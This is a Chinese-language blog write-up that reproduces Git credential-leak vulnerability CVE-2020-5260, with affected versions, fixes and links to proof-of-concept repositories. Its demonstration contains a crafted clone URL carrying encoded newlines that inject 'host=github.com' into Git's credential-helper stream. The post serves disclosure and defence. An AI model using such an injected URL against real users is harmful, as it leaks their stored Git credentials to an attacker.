Git凭证泄露漏洞(CVE-2020-5260)复现

Git凭证泄露漏洞(CVE-2020-5260)复现

一、漏洞描述

Git使用凭证助手(credential helper)来帮助用户存储和检索凭证。但是当一个URL中包含经过编码的换行符时,可能将非预期的值注入到credential helper的协议流中。这将使恶意URL欺骗Git客户端去向攻击者发送主机凭据。当使用受影响版本 Git对恶意 URL 执行 git clone 命令时会触发该漏洞。

二、相关版本情况

受影响版本

Git 2.17.x <= 2.17.3
Git 2.18.x <= 2.18.2
Git 2.19.x <= 2.19.3
Git 2.20.x <= 2.20.2
Git 2.21.x <= 2.21.1
Git 2.22.x <= 2.22.2
Git 2.23.x <= 2.23.1
Git 2.24.x <= 2.24.1
Git 2.25.x <= 2.25.2
Git 2.26.x <= 2.26.0

不受影响版本

Git 2.17.4
Git 2.18.3
Git 2.19.4
Git 2.20.3
Git 2.21.2
Git 2.22.3
Git 2.23.2
Git 2.24.2
Git 2.25.3
Git 2.26.1

三、漏洞复现演示

git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据,并在远程端请求身份验证时将返回的凭据附加到发出的请求中

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'

执行克隆项目

Git凭证泄露漏洞(CVE-2020-5260)复现

获取到git的凭证

Git凭证泄露漏洞(CVE-2020-5260)复现

四、漏洞修复

官方已发布修复了漏洞的新版本,建议受影响用户及时下载更新。

https://github.com/git/git/releases

另外,还提供了其他方法解决或规避该问题:

1、禁用credential helper

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

2、提防恶意URL

1)git clone时检查URL的主机名和用户名部分是否存在编码的换行符(%0a)或凭据协议注入的证据(例如host=github.com)

2)避免将子模块与不受信任的仓库一起使用(不要使用 clone –recurse-submodules;只有在检查.gitmodules中找到url之后,才使用git submodule update)。

3)避免对不信任的URL执行 git clone。

参考链接:

http://blog.nsfocus.net/git-0416/

https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260

https://github.com/sv3nbeast/CVE-2020-5260

后台回复“git”可获取演示poc

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

公众号:

Git凭证泄露漏洞(CVE-2020-5260)复现

thelostworld:

Git凭证泄露漏洞(CVE-2020-5260)复现

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

上一篇:安装虚拟机 出现问题VMware Workstation 与 Device/Credential Guard 不兼容。在禁用 Device/Credential Guard 后,可以运行 VMware


下一篇:解决Win10 VMware Workstation与Device/Credential Guard不兼容